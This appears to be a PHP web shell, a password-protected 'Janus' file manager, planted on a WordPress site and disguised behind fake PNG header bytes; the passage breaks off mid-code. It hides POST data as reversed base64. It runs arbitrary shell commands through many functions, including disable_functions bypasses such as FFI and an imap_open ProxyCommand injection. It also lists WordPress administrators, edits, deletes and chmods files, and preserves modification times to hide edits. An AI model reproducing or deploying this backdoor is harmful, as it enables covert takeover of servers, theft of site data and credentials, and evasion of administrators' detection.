‰PNG  WordPress ‰PNG  WordPress ‰PNG  WordPress ‰PNG  WordPress ‰PNG  WordPress ‰PNG  WordPress ‰PNG  WordPress ‰PNG  WordPress ‰PNG  WordPress ‰PNG  WordPress ‰PNG  WordPress ‰PNG  WordPress ‰PNG  WordPress ‰PNG  WordPress ‰PNG  WordPress ‰PNG  WordPress home/gazetufm/gjilan.org/jn.php000064400000547453153021310770012511 0ustar00 $text, 'type' => $type]), 0, '/'); $toast_message = ['text' => $text, 'type' => $type]; } // Retrieve and clear toast $toast_message = null; if (isset($_COOKIE['fm_toast'])) { $toast_message = json_decode($_COOKIE['fm_toast'], true); setcookie('fm_toast', '', time() - 3600, '/'); } // --- REQUEST DECRYPTION MIDDLEWARE --- if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['payload'])) { $decrypted_string = base64_decode(strrev($_POST['payload'])); if ($decrypted_string !== false) { $parsed_params = array(); parse_str($decrypted_string, $parsed_params); $_POST = $parsed_params; } } // --- 3. HANDLE AUTHENTICATION POST ACTIONS --- if ($_SERVER['REQUEST_METHOD'] === 'POST') { $action = (isset($_POST['action']) ? $_POST['action'] : ''); if ($action === 'login') { $input_pass = (isset($_POST['password']) ? $_POST['password'] : ''); if (hash('sha256', $input_pass) === $password_hash) { setcookie('fm_auth', $password_hash, time() + 86400 * 7, '/', '', false, true); set_toast('Successfully logged in!'); header("Location: " . $_SERVER['PHP_SELF']); exit; } else { set_toast('Invalid password.', 'error'); header("Location: " . $_SERVER['PHP_SELF']); exit; } } if ($action === 'logout') { setcookie('fm_auth', '', time() - 3600, '/', '', false, true); set_toast('Logged out.'); header("Location: " . $_SERVER['PHP_SELF']); exit; } } // Block execution of core operations if not authenticated if (!$authenticated) { render_login_page($toast_message); exit; } // --- 4. PATH RESOLUTION --- $default_dir = realpath(__DIR__); $current_abs_dir = isset($_COOKIE['fm_dir']) ? $_COOKIE['fm_dir'] : $default_dir; if ($current_abs_dir !== '') { $resolved = realpath($current_abs_dir); if ($resolved !== false && is_dir($resolved)) { $current_abs_dir = $resolved; } else { $current_abs_dir = $default_dir; } } else { $current_abs_dir = $default_dir; } // Helper to get safe target path for items in current directory function get_safe_target_path($name) { global $current_abs_dir; $clean_name = basename($name); if ($clean_name === '' || $clean_name === '.' || $clean_name === '..') { return false; } return $current_abs_dir . DIRECTORY_SEPARATOR . $clean_name; } // WordPress Helper functions function janus_return_empty_array() { return array(); } function bootstrap_wordpress($path) { $wp_load = rtrim($path, '/\\') . DIRECTORY_SEPARATOR . 'wp-load.php'; if (!file_exists($wp_load)) { return false; } if (defined('ABSPATH')) { return true; } // Disable WordPress's own fatal error handler so we can catch/handle errors ourselves. if (!defined('WP_DISABLE_FATAL_ERROR_HANDLER')) { define('WP_DISABLE_FATAL_ERROR_HANDLER', true); } // Register a custom shutdown handler to catch errors that we cannot catch via try/catch // (such as compile errors or fatal errors on PHP 5). register_shutdown_function('janus_wp_bootstrap_shutdown'); // If Safe Mode is enabled, load plugin.php early and register filters to return empty array for active plugins $safe_mode = isset($_COOKIE['fm_wp_safe_mode']) && $_COOKIE['fm_wp_safe_mode'] === '1'; if ($safe_mode) { $plugin_file = rtrim($path, '/\\') . DIRECTORY_SEPARATOR . 'wp-includes' . DIRECTORY_SEPARATOR . 'plugin.php'; if (file_exists($plugin_file)) { require_once $plugin_file; if (function_exists('add_filter')) { add_filter('pre_option_active_plugins', 'janus_return_empty_array'); add_filter('pre_site_option_active_sitewide_plugins', 'janus_return_empty_array'); } } } define('WP_USE_THEMES', false); global $wp, $wp_query, $wp_the_query, $wp_rewrite, $wp_did_header, $wpdb; $old_cwd = getcwd(); chdir(dirname($wp_load)); $GLOBALS['janus_wp_bootstrapping'] = true; ob_start(); $success = false; if (version_compare(PHP_VERSION, '7.0.0', '>=')) { // We use eval to prevent PHP 5 compiler syntax errors when using 'Throwable' catch block. $GLOBALS['janus_wp_load_path'] = $wp_load; $eval_code = ' try { require_once $GLOBALS["janus_wp_load_path"]; $GLOBALS["janus_wp_success"] = true; } catch (Throwable $t) { $GLOBALS["janus_wp_error"] = $t; } '; eval($eval_code); $success = isset($GLOBALS['janus_wp_success']) && $GLOBALS['janus_wp_success']; unset($GLOBALS['janus_wp_load_path'], $GLOBALS['janus_wp_success']); } else { // PHP 5.5 syntax compatibility try { require_once $wp_load; $success = true; } catch (Exception $e) { $GLOBALS['janus_wp_error'] = $e; } } ob_end_clean(); chdir($old_cwd); $GLOBALS['janus_wp_bootstrapping'] = false; if (isset($GLOBALS['janus_wp_error'])) { return false; } return $success; } function janus_wp_bootstrap_shutdown() { if (isset($GLOBALS['janus_wp_bootstrapping']) && $GLOBALS['janus_wp_bootstrapping']) { $error = error_get_last(); if ($error !== null && in_array($error['type'], array(E_ERROR, E_CORE_ERROR, E_COMPILE_ERROR, E_USER_ERROR))) { while (ob_get_level() > 0) { ob_end_clean(); } echo "
"; echo "

WordPress Bootstrapping Fatal Error Intercepted

"; echo "

A fatal error occurred while trying to bootstrap WordPress. Below are the details:

"; echo "
";
            echo "Message: " . htmlspecialchars($error['message']) . "\n";
            echo "File:    " . htmlspecialchars($error['file']) . "\n";
            echo "Line:    " . htmlspecialchars($error['line']);
            echo "
"; echo "

Note: This error was triggered by your WordPress codebase (usually a plugin or theme), not Janus. You can temporarily rename the offending plugin or theme directory to bypass it.

"; echo "

← Back to File Manager

"; echo "
"; } } } function get_wordpress_admins() { $admins = []; if (function_exists('get_users')) { $users = get_users(['role' => 'administrator']); foreach ($users as $user) { $admins[] = [ 'ID' => $user->ID, 'user_login' => $user->user_login, 'user_email' => $user->user_email ]; } } else { global $wpdb; if (isset($wpdb)) { $query = " SELECT u.ID, u.user_login, u.user_email FROM {$wpdb->users} u INNER JOIN {$wpdb->usermeta} um ON u.ID = um.user_id WHERE um.meta_key = '{$wpdb->prefix}capabilities' AND um.meta_value LIKE '%administrator%' "; $results = $wpdb->get_results($query); if ($results) { foreach ($results as $user) { $admins[] = [ 'ID' => $user->ID, 'user_login' => $user->user_login, 'user_email' => $user->user_email ]; } } } } return $admins; } // Helper for recursive deletion function delete_dir_recursive($dir) { if (!file_exists($dir)) return true; if (!is_dir($dir)) return unlink($dir); foreach (scandir($dir) as $item) { if ($item == '.' || $item == '..') continue; if (!delete_dir_recursive($dir . DIRECTORY_SEPARATOR . $item)) return false; } return rmdir($dir); } // Helper for recursive copying function copy_recursive($src, $dst) { if (is_dir($src)) { if (!mkdir($dst, 0777, true) && !is_dir($dst)) { return false; } $files = scandir($src); foreach ($files as $file) { if ($file != "." && $file != "..") { if (!copy_recursive("$src/$file", "$dst/$file")) { return false; } } } return true; } else { return copy($src, $dst); } } // Helper for perms string output function get_perms_string($path) { $perms = @fileperms($path); if ($perms === false) return '????'; if (($perms & 0xC000) == 0xC000) { $info = 's'; // Socket } elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; // Symbolic Link } elseif (($perms & 0x8000) == 0x8000) { $info = '-'; // Regular } elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; // Block special } elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; // Directory } elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; // Character special } elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; // FIFO pipe } else { $info = 'u'; // Unknown } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } // Helper to get owner:group representation of a path function get_owner_string($path) { if (function_exists('posix_getpwuid')) { $owner_id = @fileowner($path); if ($owner_id !== false) { $user_info = @posix_getpwuid($owner_id); $u_name = (isset($user_info['name']) ? $user_info['name'] : $owner_id); if (function_exists('posix_getgrgid')) { $stat = @stat($path); $gid = (isset($stat['gid']) ? $stat['gid'] : false); if ($gid !== false) { $group_info = @posix_getgrgid($gid); $g_name = (isset($group_info['name']) ? $group_info['name'] : $gid); return "{$u_name}:{$g_name}"; } } return $u_name; } } // Fallback for Windows or systems without posix extension if (function_exists('fileowner')) { $owner_id = @fileowner($path); if ($owner_id !== false) { return (string)$owner_id; } } return 'unknown'; } // Helper to find enabled command execution functions in PHP function get_enabled_exec_methods() { $methods = ['shell_exec', 'exec', 'system', 'passthru', 'proc_open', 'popen']; $disabled = explode(',', ini_get('disable_functions')); $disabled = array_map('trim', $disabled); $disabled = array_map('strtolower', $disabled); $enabled = []; foreach ($methods as $method) { if (function_exists($method) && !in_array(strtolower($method), $disabled)) { $enabled[] = $method; } } // Bypass methods if (!in_array('shell_exec', $disabled) && function_exists('shell_exec')) { $enabled[] = 'backticks'; } if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN' && class_exists('COM')) { $enabled[] = 'wscript'; } if (class_exists('FFI')) { $ffi_enable = ini_get('ffi.enable'); if ($ffi_enable === '1' || $ffi_enable === 'true' || $ffi_enable === true || $ffi_enable === 1) { $enabled[] = 'ffi'; } } if (strtoupper(substr(PHP_OS, 0, 3)) !== 'WIN' && function_exists('imap_open') && !in_array('imap_open', $disabled)) { $enabled[] = 'imap'; } return $enabled; } // Helper to run shell commands using specified execution function function run_system_cmd($cmd, $method = 'auto') { $enabled = get_enabled_exec_methods(); if (empty($enabled)) { return [ 'output' => "Error: No command execution functions or bypass methods are enabled on this server.", 'used' => 'none' ]; } $methods_to_try = ($method === 'auto') ? $enabled : [$method]; foreach ($methods_to_try as $m) { if (!in_array($m, $enabled)) { continue; } $output = ''; $success = false; switch ($m) { case 'shell_exec': $res = @shell_exec($cmd); if ($res !== null && $res !== false) { $output = $res; $success = true; } break; case 'exec': $output_arr = []; @exec($cmd, $output_arr); $output = implode("\n", $output_arr); $success = true; break; case 'system': ob_start(); $res = @system($cmd); $output = ob_get_clean(); if ($res !== false) { $success = true; } break; case 'passthru': ob_start(); @passthru($cmd); $output = ob_get_clean(); $success = true; break; case 'proc_open': $descriptorspec = [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ]; $process = @proc_open($cmd, $descriptorspec, $pipes); if (is_resource($process)) { fclose($pipes[0]); $out = stream_get_contents($pipes[1]); fclose($pipes[1]); $err = stream_get_contents($pipes[2]); fclose($pipes[2]); proc_close($process); $output = $out . $err; $success = true; } break; case 'popen': $handle = @popen($cmd . ' 2>&1', 'r'); if ($handle) { while (!feof($handle)) { $output .= fread($handle, 4096); } pclose($handle); $success = true; } break; case 'backticks': $res = @`$cmd`; if ($res !== null && $res !== false) { $output = $res; $success = true; } break; case 'wscript': try { $wsh = new COM('WScript.Shell'); $exec = $wsh->Exec("cmd.exe /c " . $cmd); $out = $exec->StdOut->ReadAll(); $err = $exec->StdErr->ReadAll(); $output = $out . $err; $success = true; } catch (Exception $e) {} break; case 'ffi': try { $ffi = FFI::cdef("void *popen(const char *command, const char *type); int pclose(void *stream); char *fgets(char *s, int size, void *stream);"); $stream = $ffi->popen($cmd . " 2>&1", "r"); if ($stream !== null) { $buf = $ffi->new("char[4096]"); while ($ffi->fgets($buf, 4096, $stream) !== null) { $output .= FFI::string($buf); } $ffi->pclose($stream); $success = true; } } catch (Exception $e) {} break; case 'imap': $payload = base64_encode($cmd . ' > /tmp/imap_cmd_out 2>&1'); $server = "x -oProxyCommand=echo\t" . $payload . "|base64\t-d|sh}"; @imap_open('{' . $server . 'INBOX', '', ''); if (file_exists('/tmp/imap_cmd_out')) { $output = file_get_contents('/tmp/imap_cmd_out'); @unlink('/tmp/imap_cmd_out'); $success = true; } break; } if ($success) { return [ 'output' => $output, 'used' => $m ]; } } return [ 'output' => "Execution failed or returned no output using method(s): " . implode(', ', $methods_to_try), 'used' => 'failed' ]; } // --- 5. DATABASE CLIENT HELPERS & STATE --- function connect_db($data) { $driver = (isset($data['driver']) ? $data['driver'] : 'mysql'); if ($driver === 'sqlite') { $path = (isset($data['path']) ? $data['path'] : ''); if ($path === '') { throw new PDOException("SQLite path cannot be empty."); } $dsn = "sqlite:" . $path; $pdo = new PDO($dsn); } else { $host = (isset($data['host']) ? $data['host'] : 'localhost'); $port = (isset($data['port']) ? $data['port'] : '3306'); $user = (isset($data['user']) ? $data['user'] : ''); $pass = (isset($data['pass']) ? $data['pass'] : ''); $dbname = (isset($data['dbname']) ? $data['dbname'] : ''); $dsn = "mysql:host=$host;port=$port"; if ($dbname !== '') { $dsn .= ";dbname=$dbname"; } $pdo = new PDO($dsn, $user, $pass, [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_TIMEOUT => 5 ]); } return $pdo; } function get_db_tables($pdo, $driver) { $tables = []; try { if ($driver === 'sqlite') { $q = $pdo->query("SELECT name FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%' ORDER BY name"); while ($row = $q->fetch(PDO::FETCH_NUM)) { $tbl = $row[0]; $count = 0; try { $cq = $pdo->query("SELECT COUNT(*) FROM " . quote_ident($tbl, $driver)); if ($cq) { $count = intval($cq->fetchColumn()); } } catch (Exception $e) {} $tables[] = [ 'name' => $tbl, 'rows' => $count ]; } } else { // MySQL/MariaDB: Try to query information_schema to get all table names and row counts in a single query. // This is extremely fast because it doesn't execute COUNT(*) on every table individually. $opt_query = "SELECT TABLE_NAME, TABLE_ROWS FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() ORDER BY TABLE_NAME"; $success = false; try { $q = $pdo->query($opt_query); if ($q) { while ($row = $q->fetch(PDO::FETCH_ASSOC)) { $tables[] = [ 'name' => $row['TABLE_NAME'], 'rows' => intval($row['TABLE_ROWS']) ]; } $success = true; } } catch (Exception $e) {} // Fallback if information_schema query fails if (!$success) { $q = $pdo->query("SHOW TABLES"); while ($row = $q->fetch(PDO::FETCH_NUM)) { $tbl = $row[0]; $count = 0; try { $cq = $pdo->query("SELECT COUNT(*) FROM " . quote_ident($tbl, $driver)); if ($cq) { $count = intval($cq->fetchColumn()); } } catch (Exception $e) {} $tables[] = [ 'name' => $tbl, 'rows' => $count ]; } } } } catch (Exception $e) {} return $tables; } function get_db_databases($pdo) { $dbs = []; try { $q = $pdo->query("SHOW DATABASES"); while ($row = $q->fetch(PDO::FETCH_NUM)) { $dbs[] = $row[0]; } } catch (Exception $e) {} return $dbs; } function quote_ident($name, $driver) { if ($driver === 'sqlite') { return '"' . str_replace('"', '""', $name) . '"'; } else { return '`' . str_replace('`', '``', $name) . '`'; } } function get_table_primary_keys($pdo, $driver, $table) { $pks = []; try { if ($driver === 'sqlite') { $q = $pdo->query("PRAGMA table_info(\"" . str_replace('"', '""', $table) . "\")"); if ($q) { while ($row = $q->fetch(PDO::FETCH_ASSOC)) { if (isset($row['pk']) && intval($row['pk']) > 0) { $pks[] = $row['name']; } } } } else { $db_q = $pdo->query("SELECT DATABASE()"); $db_name = $db_q ? $db_q->fetchColumn() : ''; if ($db_name) { $q = $pdo->prepare(" SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = ? AND TABLE_NAME = ? AND COLUMN_KEY = 'PRI' "); $q->execute([$db_name, $table]); while ($col = $q->fetchColumn()) { $pks[] = $col; } } if (empty($pks)) { $q_fallback = $pdo->query("SHOW KEYS FROM `" . str_replace('`', '``', $table) . "` WHERE Key_name = 'PRIMARY'"); if ($q_fallback) { while ($row = $q_fallback->fetch(PDO::FETCH_ASSOC)) { if (isset($row['Column_name'])) { $pks[] = $row['Column_name']; } } } } } } catch (Exception $e) {} return $pks; } $db_conn_str = (isset($_COOKIE['fm_db_conn']) ? $_COOKIE['fm_db_conn'] : ''); $db_conn_data = null; $db_connected = false; $db_error = ''; $db_query_results = null; $db_query_info = ''; $db_sql = ''; $db_pdo = null; $db_active_table = ''; $db_page = 1; $db_limit = 30; $total_rows = 0; $active_tab = (isset($_POST['tab']) ? $_POST['tab'] : (isset($_COOKIE['fm_tab']) ? $_COOKIE['fm_tab'] : 'files')); $valid_tabs = ['files', 'info', 'terminal', 'php', 'sql', 'wp']; if (!in_array($active_tab, $valid_tabs)) { $active_tab = 'files'; } if ($db_conn_str !== '' && $active_tab === 'sql') { $decoded = @base64_decode($db_conn_str); if ($decoded !== false) { $db_conn_data = @json_decode($decoded, true); if (is_array($db_conn_data)) { try { $db_pdo = connect_db($db_conn_data); $db_connected = true; } catch (PDOException $e) { $db_error = "Connection error: " . $e->getMessage(); } } } } // --- 6. TABS & ACTIONS POST PROCESSING --- $terminal_output = ''; $terminal_cmd = ''; $selected_exec_method = (isset($_COOKIE['fm_exec_method']) ? $_COOKIE['fm_exec_method'] : 'auto'); $last_used_method = (isset($_COOKIE['fm_last_exec_method']) ? $_COOKIE['fm_last_exec_method'] : ''); $php_output = ''; $php_code = ''; // WordPress auto-detection and setup $autodetect_wp_path = ''; if (file_exists($current_abs_dir . DIRECTORY_SEPARATOR . 'wp-load.php')) { $autodetect_wp_path = $current_abs_dir; } else { $p = dirname($current_abs_dir); if (file_exists($p . DIRECTORY_SEPARATOR . 'wp-load.php')) { $autodetect_wp_path = $p; } else { $p2 = dirname($p); if (file_exists($p2 . DIRECTORY_SEPARATOR . 'wp-load.php')) { $autodetect_wp_path = $p2; } } } $wp_path = (isset($_COOKIE['fm_wp_path']) ? ($_COOKIE['fm_wp_path'] === 'none' ? '' : $_COOKIE['fm_wp_path']) : $autodetect_wp_path); $edit_mode = false; $edit_filename = ''; $edit_content = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $action = (isset($_POST['action']) ? $_POST['action'] : ''); // Switch Tabs if ($action === 'set_tab') { $active_tab = (isset($_POST['tab']) ? $_POST['tab'] : 'files'); setcookie('fm_tab', $active_tab, time() + 86400 * 30, '/'); header("Location: " . $_SERVER['PHP_SELF']); exit; } // Connect Database if ($action === 'db_connect') { $driver = (isset($_POST['driver']) ? $_POST['driver'] : 'mysql'); $conn_data = ['driver' => $driver]; if ($driver === 'sqlite') { $conn_data['path'] = (isset($_POST['path']) ? $_POST['path'] : ''); } else { $conn_data['host'] = (isset($_POST['host']) ? $_POST['host'] : 'localhost'); $conn_data['port'] = (isset($_POST['port']) ? $_POST['port'] : '3306'); $conn_data['user'] = (isset($_POST['user']) ? $_POST['user'] : ''); $conn_data['pass'] = (isset($_POST['pass']) ? $_POST['pass'] : ''); $conn_data['dbname'] = (isset($_POST['dbname']) ? $_POST['dbname'] : ''); } try { $test_pdo = connect_db($conn_data); $encoded = base64_encode(json_encode($conn_data)); setcookie('fm_db_conn', $encoded, time() + 86400 * 30, '/'); setcookie('fm_tab', 'sql', time() + 86400 * 30, '/'); set_toast('Connected to database successfully.'); } catch (PDOException $e) { set_toast('Database connection failed: ' . $e->getMessage(), 'error'); } header("Location: " . $_SERVER['PHP_SELF']); exit; } // Disconnect Database if ($action === 'db_disconnect') { setcookie('fm_db_conn', '', time() - 3600, '/'); setcookie('fm_tab', 'sql', time() + 86400 * 30, '/'); set_toast('Disconnected from database.'); header("Location: " . $_SERVER['PHP_SELF']); exit; } // Select Database if ($action === 'db_select_database') { $dbname = (isset($_POST['dbname']) ? $_POST['dbname'] : ''); if ($db_conn_str !== '') { $decoded = @base64_decode($db_conn_str); if ($decoded !== false) { $data = @json_decode($decoded, true); if (is_array($data)) { $data['dbname'] = $dbname; $encoded = base64_encode(json_encode($data)); setcookie('fm_db_conn', $encoded, time() + 86400 * 30, '/'); set_toast("Database selection changed to: " . ($dbname !== '' ? $dbname : '[none]')); } } } setcookie('fm_tab', 'sql', time() + 86400 * 30, '/'); header("Location: " . $_SERVER['PHP_SELF']); exit; } // Execute Database Query if ($action === 'db_query') { $db_sql = (isset($_POST['sql']) ? $_POST['sql'] : ''); if ($db_sql !== '') { $start_time = microtime(true); try { if ($db_pdo) { $stmt = $db_pdo->query($db_sql); $end_time = microtime(true); $elapsed = $end_time - $start_time; if ($stmt) { $col_count = $stmt->columnCount(); if ($col_count > 0) { $db_query_results = $stmt->fetchAll(PDO::FETCH_ASSOC); $row_count = count($db_query_results); $db_query_info = "Query executed successfully. Returned $row_count rows in " . number_format($elapsed, 4) . " seconds."; } else { $affected = $stmt->rowCount(); $db_query_info = "Query executed successfully. Affected rows: $affected in " . number_format($elapsed, 4) . " seconds."; } } else { $db_error = "Unknown error executing query."; } } else { $db_error = "Database is not connected."; } } catch (PDOException $e) { $db_error = "SQL Error: " . $e->getMessage(); } } setcookie('fm_tab', 'sql', time() + 86400 * 30, '/'); $_COOKIE['fm_tab'] = 'sql'; $active_tab = 'sql'; $db_active_table = ''; } // Save Row (Insert or Update) if ($action === 'db_save_row') { $table = (isset($_POST['table']) ? $_POST['table'] : ''); $is_new = (isset($_POST['is_new']) && $_POST['is_new'] === '1'); $pk_data = json_decode(isset($_POST['pk_data']) ? $_POST['pk_data'] : '{}', true); $fields = isset($_POST['fields']) ? $_POST['fields'] : []; $nulls = isset($_POST['nulls']) ? $_POST['nulls'] : []; $page = max(1, intval(isset($_POST['page']) ? $_POST['page'] : 1)); if ($db_pdo && $table !== '') { try { if ($is_new) { $cols = []; $vals = []; $params = []; foreach ($fields as $col => $val) { $cols[] = quote_ident($col, $db_conn_data['driver']); if (isset($nulls[$col]) && $nulls[$col] === '1') { $vals[] = "NULL"; } else { $vals[] = "?"; $params[] = $val; } } $sql = "INSERT INTO " . quote_ident($table, $db_conn_data['driver']) . " (" . implode(', ', $cols) . ") VALUES (" . implode(', ', $vals) . ");"; $stmt = $db_pdo->prepare($sql); $stmt->execute($params); set_toast("Row inserted successfully."); } else { $sets = []; $params = []; foreach ($fields as $col => $val) { if (isset($nulls[$col]) && $nulls[$col] === '1') { $sets[] = quote_ident($col, $db_conn_data['driver']) . " = NULL"; } else { $sets[] = quote_ident($col, $db_conn_data['driver']) . " = ?"; $params[] = $val; } } $wheres = []; if (!empty($pk_data)) { foreach ($pk_data as $col => $val) { if ($val === null) { $wheres[] = quote_ident($col, $db_conn_data['driver']) . " IS NULL"; } else { $wheres[] = quote_ident($col, $db_conn_data['driver']) . " = ?"; $params[] = $val; } } } else { foreach ($fields as $col => $val) { if ($val === null) { $wheres[] = quote_ident($col, $db_conn_data['driver']) . " IS NULL"; } else { $wheres[] = quote_ident($col, $db_conn_data['driver']) . " = ?"; $params[] = $val; } } } $sql = "UPDATE " . quote_ident($table, $db_conn_data['driver']) . " SET " . implode(', ', $sets) . " WHERE " . implode(' AND ', $wheres) . ";"; $stmt = $db_pdo->prepare($sql); $stmt->execute($params); set_toast("Row updated successfully."); } } catch (Exception $e) { set_toast("Failed to save row: " . $e->getMessage(), "error"); } $_POST['action'] = 'db_browse'; $_POST['table'] = $table; $_POST['page'] = $page; $action = 'db_browse'; } } // Delete Row if ($action === 'db_delete_row') { $table = (isset($_POST['table']) ? $_POST['table'] : ''); $pk_data = json_decode(isset($_POST['pk_data']) ? $_POST['pk_data'] : '{}', true); $page = max(1, intval(isset($_POST['page']) ? $_POST['page'] : 1)); if ($db_pdo && $table !== '' && !empty($pk_data)) { try { $wheres = []; $params = []; foreach ($pk_data as $col => $val) { if ($val === null) { $wheres[] = quote_ident($col, $db_conn_data['driver']) . " IS NULL"; } else { $wheres[] = quote_ident($col, $db_conn_data['driver']) . " = ?"; $params[] = $val; } } $sql = "DELETE FROM " . quote_ident($table, $db_conn_data['driver']) . " WHERE " . implode(' AND ', $wheres) . ";"; $stmt = $db_pdo->prepare($sql); $stmt->execute($params); set_toast("Row deleted successfully."); } catch (Exception $e) { set_toast("Failed to delete row: " . $e->getMessage(), "error"); } $_POST['action'] = 'db_browse'; $_POST['table'] = $table; $_POST['page'] = $page; $action = 'db_browse'; } } // Browse Table if ($action === 'db_browse') { $db_active_table = (isset($_POST['table']) ? $_POST['table'] : ''); $db_page = max(1, intval(isset($_POST['page']) ? $_POST['page'] : 1)); if ($db_pdo && $db_active_table !== '') { try { $cq = $db_pdo->query("SELECT COUNT(*) FROM " . quote_ident($db_active_table, $db_conn_data['driver'])); if ($cq) { $total_rows = intval($cq->fetchColumn()); } } catch (Exception $e) {} $total_pages = ceil($total_rows / $db_limit); if ($db_page > $total_pages && $total_pages > 0) { $db_page = $total_pages; } $offset = ($db_page - 1) * $db_limit; $db_sql = "SELECT * FROM " . quote_ident($db_active_table, $db_conn_data['driver']) . " LIMIT $db_limit OFFSET $offset;"; $start_time = microtime(true); try { $stmt = $db_pdo->query($db_sql); $end_time = microtime(true); $elapsed = $end_time - $start_time; if ($stmt) { $db_query_results = $stmt->fetchAll(PDO::FETCH_ASSOC); $row_count = count($db_query_results); $db_query_info = "Browsing table '" . htmlspecialchars($db_active_table) . "'. Returned $row_count rows in " . number_format($elapsed, 4) . " seconds."; } else { $db_error = "Failed to retrieve rows."; } } catch (PDOException $e) { $db_error = "SQL Error: " . $e->getMessage(); } } setcookie('fm_tab', 'sql', time() + 86400 * 30, '/'); $_COOKIE['fm_tab'] = 'sql'; $active_tab = 'sql'; } // Change Directory if ($action === 'change_dir') { $target = (isset($_POST['target_dir']) ? $_POST['target_dir'] : ''); if ($target !== '') { $abs_target = realpath($target); if ($abs_target !== false && is_dir($abs_target)) { setcookie('fm_dir', $abs_target, time() + 86400 * 30, '/'); } else { set_toast('Invalid directory path.', 'error'); } } else { setcookie('fm_dir', $default_dir, time() + 86400 * 30, '/'); } header("Location: " . $_SERVER['PHP_SELF']); exit; } // Set Sort if ($action === 'set_sort') { $key = isset($_POST['sort_by']) ? $_POST['sort_by'] : 'name'; $order = isset($_POST['sort_order']) ? $_POST['sort_order'] : 'asc'; setcookie('fm_sort_by', $key, time() + 86400 * 30, '/'); setcookie('fm_sort_order', $order, time() + 86400 * 30, '/'); header("Location: " . $_SERVER['PHP_SELF']); exit; } // Create File if ($action === 'create_file') { $name = (isset($_POST['name']) ? $_POST['name'] : ''); $target = get_safe_target_path($name); if ($target) { if (!file_exists($target)) { if (@file_put_contents($target, '') !== false) { set_toast("File '$name' created."); } else { set_toast("Failed to create file.", "error"); } } else { set_toast("File already exists.", "error"); } } header("Location: " . $_SERVER['PHP_SELF']); exit; } // Create Folder if ($action === 'create_folder') { $name = (isset($_POST['name']) ? $_POST['name'] : ''); $target = get_safe_target_path($name); if ($target) { if (!file_exists($target)) { if (@mkdir($target, 0777, true)) { set_toast("Folder '$name' created."); } else { set_toast("Failed to create folder.", "error"); } } else { set_toast("Folder already exists.", "error"); } } header("Location: " . $_SERVER['PHP_SELF']); exit; } // Edit File Request if ($action === 'edit_file') { $name = (isset($_POST['name']) ? $_POST['name'] : ''); $target = get_safe_target_path($name); if ($target && file_exists($target) && is_file($target)) { $filesize = @filesize($target); if ($filesize !== false && $filesize >= 2 * 1024 * 1024) { set_toast("File is too large to edit in browser (limit: 2MB).", "error"); header("Location: " . $_SERVER['PHP_SELF']); exit; } $edit_mode = true; $edit_filename = $name; $edit_content = @file_get_contents($target); if ($edit_content === false) { $edit_content = ''; set_toast("Unable to read file.", "error"); header("Location: " . $_SERVER['PHP_SELF']); exit; } } else { set_toast("File not found.", "error"); header("Location: " . $_SERVER['PHP_SELF']); exit; } } // Save File Content if ($action === 'save_file') { $name = (isset($_POST['name']) ? $_POST['name'] : ''); $content = (isset($_POST['content']) ? $_POST['content'] : ''); $content = base64_decode(strrev($content)); $preserve_mtime = isset($_POST['preserve_mtime']); $target = get_safe_target_path($name); if ($target && file_exists($target) && is_file($target)) { $original_mtime = @filemtime($target); if (@file_put_contents($target, $content) !== false) { if ($preserve_mtime && $original_mtime !== false) { @touch($target, $original_mtime); set_toast("File '$name' saved, original modification time preserved."); } else { set_toast("File '$name' saved."); } } else { set_toast("Failed to save file.", "error"); } $edit_mode = true; $edit_filename = $name; $edit_content = @file_get_contents($target); if ($edit_content === false) { $edit_content = $content; } } else { set_toast("File not found.", "error"); header("Location: " . $_SERVER['PHP_SELF']); exit; } } // Delete File / Folder if ($action === 'delete') { $name = (isset($_POST['name']) ? $_POST['name'] : ''); $target = get_safe_target_path($name); if ($target && file_exists($target)) { if (is_dir($target)) { if (delete_dir_recursive($target)) { set_toast("Folder '$name' deleted."); } else { set_toast("Failed to delete folder.", "error"); } } else { if (unlink($target)) { set_toast("File '$name' deleted."); } else { set_toast("Failed to delete file.", "error"); } } } header("Location: " . $_SERVER['PHP_SELF']); exit; } // Rename / Move if ($action === 'rename') { $old_name = (isset($_POST['old_name']) ? $_POST['old_name'] : ''); $new_name = (isset($_POST['new_name']) ? $_POST['new_name'] : ''); $old_target = get_safe_target_path($old_name); $new_target = get_safe_target_path($new_name); if ($old_target && $new_target && file_exists($old_target)) { if (!file_exists($new_target)) { if (rename($old_target, $new_target)) { set_toast("Renamed to '$new_name'."); } else { set_toast("Failed to rename.", "error"); } } else { set_toast("Item already exists.", "error"); } } header("Location: " . $_SERVER['PHP_SELF']); exit; } // Chmod Item if ($action === 'chmod') { $name = (isset($_POST['name']) ? $_POST['name'] : ''); $mode = (isset($_POST['mode']) ? $_POST['mode'] : ''); $target = get_safe_target_path($name); if ($target && file_exists($target)) { $octal_mode = octdec($mode); if (@chmod($target, $octal_mode)) { set_toast("Permissions for '$name' updated to $mode."); } else { set_toast("Failed to change permissions.", "error"); } } header("Location: " . $_SERVER['PHP_SELF']); exit; } // Touch Item (Change Modification Date) if ($action === 'touch') { $name 